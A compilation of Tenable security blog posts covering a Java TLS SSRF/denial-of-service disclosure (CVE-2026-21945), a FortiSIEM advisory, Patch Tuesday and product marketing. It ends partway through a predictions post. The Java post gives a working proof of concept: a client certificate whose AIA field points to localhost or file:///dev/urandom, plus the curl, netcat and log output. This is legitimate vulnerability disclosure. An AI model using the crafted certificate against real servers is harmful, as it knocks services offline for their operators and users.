Tenable Research discovery

As part of the January CPU, Oracle addressed CVE-2026-21945, a high severity Server-Side Request Forgery (SSRF) vulnerability in Oracle Java that is remotely exploitable without authentication. When successfully exploited, it can be leveraged to exhaust resources, causing a denial-of-service (DoS) condition. You can read more about the discovery in our blog post and in our Tenable Research Advisory (TRA).

Solution

Customers are advised to apply all relevant patches in this quarter’s CPU. Please refer to the January 2026 advisory for full details.

Identifying affected systems

A list of Tenable plugins to identify these vulnerabilities will appear here as they’re released. This link uses a search filter to ensure that all matching plugin coverage will appear as it is released.

Get more information

• Tenable Blog: Tenable Discovers SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
• Tenable Research Advisory: TRA-2026-03
• Oracle Critical Patch Update Advisory - January 2026
• Oracle January 2026 Critical Patch Update Risk Matrices
• Oracle Advisory to CVE Map

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Tenable Research has discovered a server-side request forgery (SSRF) vulnerability in Java’s handling of client certificates during a TLS handshake. In certain configurations, this can be abused to cause a denial-of-service (DoS) condition.

Key takeaways

1. Tenable Research identified a vulnerability in Java’s TLS handshake process where malicious client certificates using the AIA extension can trigger Server-Side Request Forgery (SSRF) and Denial of Service (DoS) attacks.
    
2. The exploit demonstrates that client certificates in mTLS configurations effectively function as user input and must be validated strictly to prevent servers from accessing malicious or resource-exhausting URIs.
    
3. Oracle addressed this vulnerability (CVE-2026-21945) in the January 2026 Critical Patch Update, necessitating immediate updates for Java environments using mTLS and AIA fetching.

Transport Layer Security (TLS) protocol is key for secure internet communication. It works together with public key infrastructure (PKI) to provide confidentiality and authentication. One of the key components of TLS are client certificates. Client certificates used in a TLS handshake effectively become a user input, which might be malicious just like any other user input. Input validation is at least as important on the protocol level, as it is on the application level.

With this background in mind, Tenable Research investigated and discovered a server-side request forgery (SSRF) vulnerability in Java’s handling of client certificates during a TLS handshake. In certain configurations, this can be abused to cause a denial-of-service (DoS) condition.

Oracle fixed this vulnerability in its January 2026 Critical Patch Update.

Before we discuss the discovered vulnerability, we first need to examine the relevant standards and protocols.

An intro to TLS, PKI and X.509

TLS is a protocol commonly used to protect client-server traffic in multiple scenarios. It is best known for its use with web servers and web browsers.  TLS is based on the older Secure Sockets Layer (SSL) protocol.

Security properties offered by TLS are based on a set of cryptographic primitives — the individual algorithms which are put to work together in order to implement the entire cryptographic protocol. For all this to work end-to-end, PKI is needed. In this post, we will focus on PKI’s certificate chains.

A typical certificate chain consists of a root certificate, an intermediate certificate, and a leaf (or end-entity) certificate. There might be more than one intermediate certificate in a chain, although for simplicity we can assume there is just one, as it doesn’t change much on a conceptual level. Similarly, the leaf certificate technically could be issued without any intermediate certificates, although this is not what usually happens in practice. A sample certificate chain for a TLS server leaf certificate is shown below:

In the above example, a certificate owned by a root certificate authority (CA) was used to issue a certificate of an intermediate CA, which in turn was used to issue an end-entity TLS server certificate. Please note that this is a simplified explanation, as in fact the corresponding private keys are also being used in the process.

The aforementioned certificates are often referred to as SSL or TLS certificates. However, technically speaking, these are X.509 certificates. These certificates are digital documents which contain the public key belonging to the certificate subject, misc. information related to the subject, the issuing CA, or the certificate itself, and a digital signature.

A TLS client willing to establish a secure communication with a TLS server will verify the validity of the certificate chain presented by the server as part of the TLS handshake. The handshake is the part of the process that needs to happen before the data can start flowing.

During the handshake, the server will typically send to the client not only its leaf certificate, but also the intermediate CA certificate. The client can then build and validate the certificate path from the leaf certificate all the way up to the trusted root CA certificate.

Typically the root CA certificate is not sent by the server during the handshake. The client is expected to be configured with a list of certificates it intends to trust, including the relevant root CA certificate. If the certificate path does not lead to a certificate the client is willing to trust, the server normally will not be trusted, and the handshake will be aborted.

A web server configured to use an X.509 certificate to serve content over HTTPS is an example of a TLS server. A web browser accessing such a server over HTTPS is an example of a TLS client.

X.509 AIA CA Issuers

What if the TLS server is configured to present only its leaf certificate without the intermediate CA certificate? Typically that would mean the TLS client would not be able to build and validate the certificate path, and as a result would not be able to establish a secure connection with the TLS server.

However, this is not the only possible outcome. The leaf certificate presented to the client may contain the Authority Information Access (AIA) extension with the information found in the AIA field called CA Issuers. It would point at the location from where an interested party – the TLS client in this case – can obtain the parent (intermediate CA) certificate.

Example of an AIA extension from a real-life X.509 certificate is shown below:

openssl x509 -noout -text -in letsencrypt-org.pem  ... X509v3 extensions: ... Authority Information Access:  CA Issuers - URI:http://e8.i.lencr.org/ ...

It is worth mentioning that the AIA extension, in addition to the CA Issuers, may also contain the Online Certificate Status Protocol (OCSP) information which can be used for certificate revocation checks. However, it won’t be relevant for the purpose of this post. You can find more information about AIA extension in RFC 5280, section 4.2.2.1.

If a TLS client which supports AIA CA Issuers receives only the leaf certificate containing AIA CA Issuers information from the server, it may download the missing intermediate CA certificate and reconstruct the incomplete chain instead of aborting the TLS handshake. Such a scenario is shown below:

It is important to note that in the above scenario the TLS client cannot validate the TLS server certificate before obtaining the intermediate CA certificate from the location indicated by the AIA extension CA Issuers information.

Here’s a high-level overview of the steps involved in the server authentication:

• The TLS client initiates a TLS handshake with the TLS server.
• The TLS server responds with its leaf certificate, but without the intermediate CA certificate. However, the leaf certificate contains AIA extension with CA Issuers information.
• The TLS client cannot validate the TLS server certificate at this stage, and attempts to download the intermediate CA certificate from the location indicated by AIA CA Issuers in the leaf certificate.
• If the download is successful, the TLS client can attempt to reconstruct and validate the certificate path.

mTLS and AIA CA Issuers

In a typical TLS example, it is the TLS server that authenticates itself to the TLS client. However, a TLS server can request that the TLS client authenticate itself too. That’s called mutual TLS (mTLS). mTLS is a less commonly deployed option, although it depends on context. You wouldn’t expect all the internet websites you visit using your web browser to require your browser to present a client certificate chain. However, client authentication might be used extensively in other contexts, such as secure communication between web services. During an mTLS handshake, it is both the server and the client that send their corresponding certificate chains, and both build and validate the certificate paths from their peer leaf certificate all the way up to a certificate they trust.

What is interesting about mTLS from the security point of view is not only that it is a way to enable client authentication, but it also changes how we need to think about the security properties of the system. A TLS client can now present a certificate chain, which the server will need to act upon. That certificate chain now becomes a user input, which might be malicious just like any other user input.

What happens if the TLS server supports AIA CA Issuers (again, not all of them do), and the client sends a certificate with AIA CA Issuers information, with no intermediate CA certificate?

Let’s consider the high-level steps involved in the client authentication process in such a case:

• The TLS client initiates a TLS handshake with the TLS server.
• The TLS server responds with its certificate chain and requests a certificate from the client.
• The TLS client responds with its leaf certificate, but without the intermediate CA certificate. However, the leaf certificate contains AIA CA Issuers information.
• The TLS server cannot validate the TLS client certificate at this stage, and attempts to download the intermediate CA certificate from the location indicated by AIA CA Issuers in the leaf certificate.
• If the download is successful, the TLS server can attempt to reconstruct and validate the certificate path.

This effectively constitutes an inversion to some parts of the logic. Such a scenario is shown below:

If you think that the above scenario could potentially result in an SSRF vulnerability, you are not alone.

Proof of concept application

Below is a simple Java application:

public class Server { public static void main(String[] args) throws Exception { String keystore = "keystore.p12"; String truststore = "truststore.p12"; char[] keystorePass = "password".toCharArray(); char[] truststorePass = "password".toCharArray(); int port = 8444; KeyManagerFactory kmf = getKeyManagerFactory(keystore, keystorePass); TrustManagerFactory tmf = getTrustManagerFactory(truststore, truststorePass); SSLContext sslContext = getSSLContext(kmf, tmf); HttpsServer server = HttpsServer.create(new InetSocketAddress(port), 0); server.setHttpsConfigurator(new HttpsConfigurator(sslContext) { @Override public void configure(HttpsParameters params) { SSLParameters sslParams = getSSLContext().getDefaultSSLParameters(); sslParams.setNeedClientAuth(true); params.setSSLParameters(sslParams); } }); server.createContext("/", handler -> { Certificate[] peerCerts = ((HttpsExchange) handler).getSSLSession().getPeerCertificates(); X509Certificate peerLeafCert = (X509Certificate) peerCerts[0]; String peerLeafCertSubject = peerLeafCert.getSubjectX500Principal().toString(); System.out.println(peerLeafCertSubject); String resp = "response\n"; handler.sendResponseHeaders(200, resp.length()); try (OutputStream os = handler.getResponseBody()) { os.write(resp.getBytes()); } }); System.out.println("Starting server on port: " + port); new Thread(server::start).start(); } private static SSLContext getSSLContext(KeyManagerFactory kmf, TrustManagerFactory tmf) throws Exception { SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null); return sslContext; } private static KeyManagerFactory getKeyManagerFactory(String keystore, char[] password) throws Exception { KeyStore ks = KeyStore.getInstance("PKCS12"); try (FileInputStream fis = new FileInputStream(keystore)) { ks.load(fis, password); } KeyManagerFactory kmf = KeyManagerFactory.getInstance("PKIX"); kmf.init(ks, password); return kmf; } private static TrustManagerFactory getTrustManagerFactory(String truststore, char[] password) throws Exception { KeyStore ts = KeyStore.getInstance("PKCS12"); try (FileInputStream fis = new FileInputStream(truststore)) { ts.load(fis, password); } TrustManagerFactory tmf = TrustManagerFactory.getInstance("PKIX"); tmf.init(ts); return tmf; } }

This Java application is a basic HTTPS server with client authentication enabled. It requires PKCS12 keystore and truststore files. PKCS12 is a file format commonly used for storing X.509 certificates and the corresponding keys. The keystore contains the server certificate and the corresponding private key, while the truststore contains the root CA certificate the server is expected to trust. Certain aspects of the application have been simplified for brevity. Imports and the associated pom.xml file have been omitted. It is assumed that the application has been packaged as java-server.jar.

Proof of concept

Java version 21.0.9 will be used for this proof of concept. Other versions may be vulnerable too, but we have not validated additional versions.

Let’s start the application. In this case it will be running on Linux:

java -Djava.security.debug=certpath -Dcom.sun.security.enableAIAcaIssuers=true -Dhttp.agent="AIA CA Issuers PoC" -jar java-server.jar

Linux is a Unix-like operating system. It will be relevant for the case that we will demonstrate later. Please note the parameters being used, in particular -Dcom.sun.security.enableAIAcaIssuers=true, which enables support for AIA CA Issuers.

DNS resolution has been configured on a separate client machine through /etc/hosts to resolve mtls-server to the machine where the sample application is running. It is curl that will be acting as the TLS client in this case.

In the first example, the client will use a non-malicious X.509 certificate without AIA CA Issuers information, which will be trusted by the server:

curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-key.pem --cert client-cert.pem HTTP/1.1 200 OK ...

In this example, the server responded as expected.

Now, let’s assume the client will use an X.509 certificate with the following AIA CA Issuers information:

openssl x509 -noout -text -in client-aia-localhost-cert.pem ... Authority Information Access:  CA Issuers - URI:http://localhost:8080 ...

Before making the request, let’s start a netcat server on port 8080 on the same host where the sample Java application is running:

nc -l 8080 -k

netcat is a popular command line utility for working with network connections.

In the below example, curl is configured to send the aforementioned client certificate with AIA CA Issuers information pointing at port 8080 on localhost, accessed over HTTP. For the TLS server receiving this certificate during a TLS handshake, localhost will resolve to the host the server is running on.

Client request:

curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-aia-key.pem --cert client-aia-localhost-cert.pem

Application logs:

... certpath: com.sun.security.cert.timeout set to 15000 milliseconds certpath: com.sun.security.cert.readtimeout set to 15000 milliseconds certpath: CertStore URI:http://localhost:8080 certpath: Exception fetching certificates: java.net.SocketTimeoutException: Read timed out ...

netcat logs:

GET / HTTP/1.1 User-Agent: AIA CA Issuers PoC Java/21.0.9 Host: localhost:8080 Accept: */* Connection: keep-alive

This confirms the server reached out to the CA Issuers location indicated in the AIA extension. The request timed out as expected, as netcat did not respond. Please note the User-Agent HTTP request header logged by netcat includes the string defined using the -Dhttp.agent parameter when starting the sample application earlier.

While this might have several potential implications, we will focus on one particular case.

Let’s restart the sample application and assume the client will now use another X.509 certificate with the following AIA CA Issuers information:

openssl x509 -noout -text -in client-aia-random-cert.pem ... Authority Information Access:  CA Issuers - URI:file:///dev/urandom ...

In this case the CA Issuers contains a file URI, pointing at /dev/urandom. On Unix-like systems, /dev/random and /dev/urandom are special files which provide access to a random number generator. While the exact implementation might differ between particular operating systems and their versions, reading from either of these files should result in reading randomly generated bytes.

Client request:

curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-aia-key.pem --cert client-aia-random-cert.pem

Application logs:

... certpath: com.sun.security.cert.timeout set to 15000 milliseconds certpath: com.sun.security.cert.readtimeout set to 15000 milliseconds certpath: CertStore URI:file:///dev/urandom certpath: Downloading new certificates... ...

The client may disconnect at this stage. The server keeps running, keeping a single CPU core busy while attempting to read random bytes:

Tenable Research, January 2026

The sample application will not respond to a subsequently submitted non-malicious request.

The sample application carries on consuming CPU, while not being able to serve the subsequent requests, resulting in a DoS condition.

Closing thoughts

Tenable disclosed this vulnerability to Oracle in September 2025. Oracle has issued a patch as part of its January 2026 Critical Patch Updates (CPU) and assigned CVE-2026-21945. Tenable has issued an advisory under TRA-2026-03. A Tenable plugin to identify this vulnerability will appear here as soon as it’s released.

If you operate a Java-based tech stack and the feature discussed in this post is relevant to your deployments, you should consider applying the patches immediately to prevent potential attacks. Generally speaking, it is important to follow cyber-hygeine best practices: apply software patches as soon as possible, review and disable unused features, and monitor for suspicious activity (e.g. unusual network connections, utilization increases) on your network.

 

Exploit code has been published for CVE-2025-64155, a critical command injection vulnerability affecting Fortinet FortiSIEM devices.

Key takeaways:

1. CVE-2025-64155 is a critical operating system (OS) command injection vulnerability affecting Fortinet FortiSIEM.
    
2. Fortinet vulnerabilities have historically been common targets for cyber attackers, with 23 Fortinet CVEs currently on the CISA KEV list.
    
3. Public exploit code has been released, increasing the likelihood that CVE-2025-64155 could be exploited by attackers.

Background

On January 13, Fortinet published a security advisory (FG-IR-25-772) for CVE-2025-64155, a critical command injection vulnerability affecting Fortinet FortiSIEM.

CVEDescriptionCVSSv3CVE-2025-64155Fortinet FortiSIEM Command Injection Vulnerability9.4Analysis

CVE-2025-64155 is a critical operating system (OS) command injection vulnerability affecting Fortinet FortiSIEM. A remote, unauthenticated attacker can exploit this flaw to execute arbitrary code using specially crafted requests.

Historical Exploitation of Fortinet Devices

Fortinet vulnerabilities have historically been common targets for cyber attackers, with 23 Fortinet CVEs currently on the Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) list. At the time this blog was published on January 14, CVE-2025-64155 had not been added to the KEV, however we anticipate that it is likely to be added in the near future.

As Fortinet devices have been popular targets for attackers, the Tenable Research Special Operations Team (RSO) has authored several blogs about vulnerabilities affecting these devices. The following table outlines some of the most impactful Fortinet vulnerabilities in recent years.

CVEDescriptionPublishedTenable BlogCVE-2025-64446Fortinet FortiWeb Path Traversal VulnerabilityNovember 2025CVE-2025-64446: Fortinet FortiWeb Zero-Day Path Traversal Vulnerability Exploited in the WildCVE-2025-25256Fortinet FortiSIEM Command Injection VulnerabilityAugust 2025CVE-2025-25256: Proof of Concept Released for Critical Fortinet FortiSIEM Command Injection VulnerabilityCVE-2025-32756Fortinet FortiVoice, FortiMail, FortiNDR, FortiRecorder and FortiCamera Arbitrary Code Execution VulnerabilityMay 2025CVE-2025-32756: Zero-Day Vulnerability in Multiple Fortinet Products Exploited in the WildCVE-2024-55591Fortinet Authentication Bypass in FortiOS and FortiProxyJanuary 2025CVE-2024-55591: Fortinet Authentication Bypass Zero-Day Vulnerability Exploited in the WildCVE-2024-21762Fortinet FortiOS Out-of-bound Write Vulnerability in sslvpndFebruary 2024CVE-2024-21762: Critical Fortinet FortiOS Out-of-Bound Write SSL VPN VulnerabilityCVE-2023-27997FortiOS and FortiProxy Heap-Based Buffer Overflow VulnerabilityJune 2023CVE-2023-27997: Heap-Based Buffer Overflow in Fortinet FortiOS and FortiProxy SSL-VPN (XORtigate)CVE-2022-42475FortiOS and FortiProxy Heap-Based Buffer Overflow VulnerabilityDecember 2022CVE-2022-42475: Fortinet Patches Zero Day in FortiOS SSL VPNsAA23-250A: Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475CVE-2022-40684FortiOS and FortiProxy Authentication Bypass VulnerabilityOctober 2022CVE-2022-40684: Critical Authentication Bypass in FortiOS and FortiProxyProof of concept

On January 13, in coordination with the release of the advisory by Fortinet, researchers at Horizon3.ai published a technical writeup as well as a proof of concept for CVE-2025-64155. While there has been no reports of in-the-wild exploitation, we anticipate that attackers will quickly incorporate this exploit into their attacks.

Solution

The following table details the affected and fixed versions of Fortinet FortiSIEM devices for CVE-2025-64155:

Product VersionAffected RangeFixed VersionFortiSIEM 6.76.7.0 through 6.7.10Migrate to a fixed releaseFortiSIEM 7.07.0.0 through 7.0.4Migrate to a fixed releaseFortiSIEM 7.17.1.0 through 7.1.87.1.9 or aboveFortiSIEM 7.27.2.0 through 7.2.67.2.7 or aboveFortiSIEM 7.37.3.0 through 7.3.47.3.5 or aboveFortiSIEM 7.47.4.07.4.1 or aboveFortiSIEM 7.5Not affected-FortiSIEM CloudNot affected-

Fortinet’s security advisory advises if immediate patching is not able to be performed, they recommend limiting access to the phMonitor port of 7900. We strongly recommend reviewing the advisory for updates as well as the latest on mitigation recommendations.

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2025-64155 as they’re released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Additionally, customers can utilize Tenable Attack Surface Management to identify public facing assets running Fortinet devices by using the following subscription:

 Get more information

• Fortinet FG-IR-25-772 Security Advisory
• Horizon3.AI Technical Writeup

Join Tenable's Research Special Operations (RSO) Team on the Tenable Community.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

1. 8Critical
2. 105Important
3. 0Moderate
4. 0Low

Microsoft addresses 113 CVEs in the first Patch Tuesday of 2026, with two zero-days, including one that was exploited in the wild.

Microsoft patched 113 CVEs in its January 2026 Patch Tuesday release, with eight rated critical and 105 rated as important. Our counts omitted one CVE that was assigned by MITRE, CVE-2023-31096.

This month’s update includes patches for:

• Azure Connected Machine Agent
• Azure Core shared client library for Python
• Capability Access Management Service (camsvc)
• Connected Devices Platform Service (Cdpsvc)
• Desktop Window Manager
• Dynamic Root of Trust for Measurement (DRTM)
• Graphics Kernel
• Host Process for Windows Tasks
• Inbox COM Objects
• Microsoft Graphics Component
• Microsoft Office
• Microsoft Office Excel
• Microsoft Office SharePoint
• Microsoft Office Word
• Printer Association Object
• SQL Server
• Tablet Windows User Interface (TWINUI) Subsystem
• Windows Admin Center
• Windows Ancillary Function Driver for WinSock
• Windows Client-Side Caching (CSC) Service
• Windows Clipboard Server
• Windows Cloud Files Mini Filter Driver
• Windows Common Log File System Driver
• Windows DWM
• Windows Deployment Services
• Windows Error Reporting
• Windows File Explorer
• Windows HTTP.sys
• Windows Hello
• Windows Hyper-V
• Windows Installer
• Windows Internet Connection Sharing (ICS)
• Windows Kerberos
• Windows Kernel
• Windows Kernel Memory
• Windows Kernel-Mode Drivers
• Windows LDAP - Lightweight Directory Access Protocol
• Windows Local Security Authority Subsystem Service (LSASS)
• Windows Local Session Manager (LSM)
• Windows Management Services
• Windows Media
• Windows NDIS
• Windows NTFS
• Windows NTLM
• Windows Remote Assistance
• Windows Remote Procedure Call
• Windows Remote Procedure Call Interface Definition Language (IDL)
• Windows Routing and Remote Access Service (RRAS)
• Windows SMB Server
• Windows Secure Boot
• Windows Server Update Service
• Windows Shell
• Windows TPM
• Windows Telephony Service
• Windows Virtualization-Based Security (VBS) Enclave
• Windows WalletService
• Windows Win32K - ICOMP

Elevation of privilege (EoP) vulnerabilities accounted for 49.6% of the vulnerabilities patched this month, followed by remote code execution (RCE) vulnerabilities at 19.5%.

ImportantCVE-2026-20805 | Desktop Window Manager Information Disclosure Vulnerability

CVE-2026-20805 is an information disclosure vulnerability affecting Desktop Window Manager. It was assigned a CVSSv3 score of 5.5 and was rated as important. Successful exploitation allows an authenticated attacker to access sensitive data. According to Microsoft, this vulnerability was exploited in the wild as a zero-day.

Additionally, Microsoft patched another Desktop Window Manager vulnerability this month. CVE-2026-20871 is an EoP vulnerability that was assigned a CVSSv3 score of 7.8 and was rated as important. Contrary to CVE-2026-20805, CVE-2026-20871 was not exploited in the wild, although it was assessed as “Exploitation More Likely” according to Microsoft’s Exploitability Index.

ImportantCVE-2026-21265 | Secure Boot Certificate Expiration Security Feature Bypass Vulnerability

CVE-2026-21265 is a security feature bypass in the Windows Secure Boot. It was assigned a CVSSv3 score of 6.4 and is rated important. It was assessed as “Exploitation Less Likely.”

Microsoft certificates are stored in the Unified Extensible Firmware Interface (UEFI) Key Enrollment Key (also known as Key Exchange or KEK) and DB. These certificates are reaching their expiration date, so these certificates need to be updated to ensure Secure Boot functionality remains and to prevent future issues from arising. The following are the certificates set to expire in 2026:

Certificate Authority (CA)Expiration DatePurposeLocationMicrosoft Corporation KEK CA 2011June 24, 2026Signs updates to the DB and DBXKEKMicrosoft Corporation UEFI CA 2011June 27, 2026Signs third party boot loaders, Option ROMs and moreDBMicrosoft Windows Production PCA 2011October 19, 2026Signs the Windows Boot ManagerDB

This vulnerability is considered “Publicly Disclosed” because the information about the expiration and the location of these certificates are public.

CriticalCVE-2026-20952 and CVE-2026-20953 | Microsoft Office Remote Code Execution Vulnerability

CVE-2026-20952 and CVE-2026-20953 are RCE vulnerabilities affecting Microsoft Office. Each of these vulnerabilities were assigned a CVSSv3 score of 8.4, rated as critical and assessed as "Exploitation Less Likely.” An attacker could exploit these flaws through social engineering by sending the malicious Microsoft Office document file to an intended target. Successful exploitation would grant code execution privileges to the attacker.

Despite being flagged as “Exploitation Less Likely,” Microsoft notes that the Preview Pane is an attack vector for both vulnerabilities, which means exploitation does not require the target to open the file.

ImportantCVE-2026-20840 and CVE-2026-20922 | Windows NTFS Remote Code Execution Vulnerability

CVE-2026-20840 and CVE-2026-20922 are RCE vulnerabilities affecting Windows New Technology File System (NTFS). Both were assigned CVSSv3 scores of 7.8 and are rated as important. Microsoft assessed both of these flaws as “Exploitation More Likely.” According to Microsoft, both these flaws stem from heap-based buffer overflows which can be exploited to execute arbitrary code on an affected system. Both advisories also note that any authenticated attacker can exploit these flaws, regardless of privilege level.

Tenable Solutions

A list of all the plugins released for Microsoft’s January 2026 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's January 2026 Security Updates
• Tenable plugins for Microsoft January 2026 Patch Tuesday Security Updates

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

This recognition — based entirely on feedback from the people who use our products every day — to us is a testament to the unmatched value Tenable Cloud Security CNAPP offers organizations worldwide.

Our key takeaways:

1. In our view, this peer recognition confirms Tenable’s strategic value in helping organizations worldwide, across all industry sectors, preemptively close critical security gaps and manage complex multi-cloud risk and compliance.
    
2. Tenable Cloud Security is an essential component of the Tenable One Exposure Management Platform. Tenable One directly addresses the limits of fragmented point solutions by delivering unified visibility, insight, and action across the entire digital attack surface, including cloud, AI, IT, identity, and operational technology (OT).
    
3. Tenable’s CNAPP solution provides risk prioritization and deep visibility in an intuitive, all-in-one solution that streamlines remediation efforts for misconfigurations and vulnerabilities, seamlessly integrating into existing workflows across major global cloud providers, including Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure.

Real reviews from real customers

At Tenable, we’ve always felt fortunate to have such a deep level of trust from our customers. We work hard every day to not just meet your expectations, but to exceed them. That’s why we’re pleased to share that Tenable is named a Customers’ Choice in the 2025 Gartner® Peer Insights™ Voice of the Customer for Cloud-Native Application Protection Platforms.

To us, this recognition is a huge win because it comes straight from the people who use our products day in and day out. We believe It’s a real-world testament to the value we’re providing — helping cybersecurity teams everywhere find and close critical gaps before they ever turn into a problem. Knowing that we’re delivering on what matters most to you tells us we’re on the right track.

Cloud security is a fundamental component of exposure management. In a market saturated with fragmented point solutions, customers value the Tenable One Exposure Management Platform for breaking down security silos and unifying visibility, insight, and action across cloud, AI, IT, identity, operational technology (OT), and beyond. 

In this Voice of the Customer report, Gartner Peer Insights provides a rigorous analysis of 1,664 reviews and ratings of 10 vendors in the CNAPP market. In the 18-month eligibility window ending in October 2025, we received an average of 4.8 out of 5 stars for Tenable Cloud Security based on 71 reviews.

In short: this is a big deal for us. We feel it validates our strategy and reflects the trust our customers place in us every day. 

Access the 2025 Gartner® Peer Insights™ Voice of the Customer for Cloud-Native Application Protection Platforms

According to Gartner, CNAPPs are a unified and tightly integrated set of security and compliance capabilities designed to protect cloud-native infrastructure and applications. CNAPPs incorporate an integrated set of proactive and reactive security capabilities, including artifact scanning, security guardrails, configuration and compliance management, risk detection and prioritization, and behavioral analytics, providing visibility, governance, and control from code creation to production runtime. CNAPPs use a combination of API integrations with leading cloud platform providers, continuous integration/continuous development (CI/CD) pipeline integrations, and agent and agentless workload integration to offer combined development and runtime security coverage.

The “Voice of the Customer” is a document that applies a methodology to aggregated Gartner Peer Insights’ reviews in a market to provide an overall perspective for IT decision makers.

Tenable Cloud Security CNAPP customer reviews

Check out some of the Gartner Peer Insights reviews for yourself:

"Tenable's Effectiveness in Reducing Risks and Showing the Level of Exposure in Real Time."

"Tenable is a leading tool, constantly updated, at the forefront, with an intuitive and easy-to-use interface. What I like about the product is its effectiveness and the prioritized care recommendations to reduce risk exposure; what I like about Tenable is the support, the backing, and the highly knowledgeable people who provide exceptional customer service."

—Chief Information Security Officer, Retail

"Strong Support and Value Throughout Relationship with Tenable Team"

"The Tenable team delivers not just at sale but continues to offer us value and support throughout our relationship. This includes actively listening and working with us on any pain points or future plans. The team listens and works with customers to deliver actual value based on your needs - Best in class vulnerability product that uses that base to deliver an exceptional Cloud Security offering - The Cloud Security product offers value for CISO for reporting and compliance views, remediation steps that assist engineers and a very helpful ‘you only have 5mins, look at this’ widget.”

—CISO, Education Industry

"Data Integration and Targeted Remediation Enhance Cloud Asset Visibility and Security"

"Tenable Cloud Security is extremely easy to set up and use. The UI is intuitive, and you don't have to try to find where things are as the layout is logical and professional. The implementation was a few clicks away and it natively authenticated to our existing Tenable One platform. We are also able to pull in data from the cloud portion into exposure management which makes it easy to see all our assets in one view. I really like the "If you only have 5 mins" and the "Toxic combinations[.] " It makes remediation efforts more focused." —Director, IT Security and Risk Management, Banking Industry

"Tenable Platform Enhances Cloud Security with Deep Visibility and Seamless Integrations"

"Our overall experience with Tenable has been excellent. Their CNAPP and Cloud Security solutions provide deep visibility across our cloud infrastructure environments and integrate smoothly into our existing workflows. The platform's insights and automation have significantly improved how we manage vulnerabilities and compliance. Additionally, Tenable's sales and account management teams have been outstanding: responsive, knowledgeable, and genuinely invested in our success." 

— IT Security & Risk Management Associate, Software Industry

"Tenable Cloud Security Offers Easy Interface and Robust Compliance Features"

“Tenable Cloud Security is a simple all-in-one solution to cohesively bring together your cloud misconfigurations (CIS Benchmarks), known vulnerabilities around cloud objects and integrates with many solutions out there such as RedHat OpenShift, Azure, AWS, etc.”

— IT Security & Risk Management Associate, Healthcare and Biotech Industry

What are the key features of Tenable Cloud Security?

Customers rely on Tenable for a comprehensive, all-in-one solution that seamlessly manages cloud misconfigurations, known vulnerabilities, and risks across the entire cloud environment. Tenable offers deep visibility into cloud infrastructure and workloads, combining vulnerability management and compliance features. 

Tenable Cloud Security provides:

• Exceptional ease of use
• An intuitive interface
• Actionable prioritization
• Focused remediation
• Smooth integration into existing workflows
• Full asset discovery and compliance features for all major cloud providers, including Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure.

Thank you, Tenable Cloud Security customers

We appreciate all our customers for taking the time to share feedback. Your reviews and input help the team at Tenable better understand your unique cloud security needs. We have utmost respect for the trust you place in us and we’re committed to providing you with a comprehensive, easy-to-use, and highly effective cloud security platform to help you secure your most valuable assets and preemptively manage your exposure.

Gartner, Voice of the Customer for Cloud-Native Application Protection Platforms, 24 December 2025, By Peer Community Contributor

Gartner and Peer Insights are trademarks of Gartner, Inc. and/or its affiliates. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.

Learn more

• View the 2025 Gartner® Peer Insights™ Voice of the Customer for Cloud-Native Application Protection Platforms here

In this special edition, Tenable leaders forecast key 2026 trends, including: AI will make attacks more plentiful and less costly; machine identities will become the top cloud risk; preemptive cloud and exposure management will dethrone runtime detection; and automated remediation gets the go-ahead.

Key takeaways

1. AI will supercharge the speed and volume of traditional cyber attacks rather than creating new vectors, making basic cyber hygiene and proactive prevention the best lines of defense.
2. To combat burnout and inefficient workflows, CISOs will look beyond commercial off-the-shelf solutions and begin building custom in-house AI tools tailored to their organization’s specific needs.
3. Non-human identities (NHIs) will become the primary vector for cloud breaches, necessitating a shift toward strict permissions governance and automatic remediation.

1 - AI won’t spawn new attack vectors in 2026

Is artificial intelligence (AI) about to unleash a wave of never-before-seen cyber attacks? Not quite. While the hype machine might suggest otherwise, the reality for 2026 is grounded in a familiar truth: most bad actors are opportunists looking for low-hanging fruit. They don’t want to reinvent the wheel. Rather, they’re looking for easy wins that yield big gains with minimal effort. 

“AI is not a magic wand; it supercharges traditional attack methods,” Tenable Chief Product Officer Eric Doerr says. “It will drive down the cost of attack generation and increase the volume, and it might even find a new zero day or two, but it’s not finding novel attack techniques.”

In response, cyber teams should double down on foundational cybersecurity practices to combat these high-volume, AI-enhanced threats.
 

Tenable Chief Product Officer Eric Doerr

As Doerr explains: "At the end of the day, cybersecurity is a numbers game and AI broadens attackers’ canvas. Basic cyber hygiene remains the best defense." 

Prediction: In 2026, as attackers increase their use of AI, cyber attacks will grow in number and become less expensive to launch. However, attackers won’t leverage AI to create new attack vectors. 

2 - Automatic remediation will get the green light

For years, the idea of letting a machine automatically fix a security issue has been considered verboten. But in 2026, can we afford to keep "automatic" on the forbidden list? The expanding attack surface and the velocity of threats are forcing a reevaluation of this well-established no-no. 

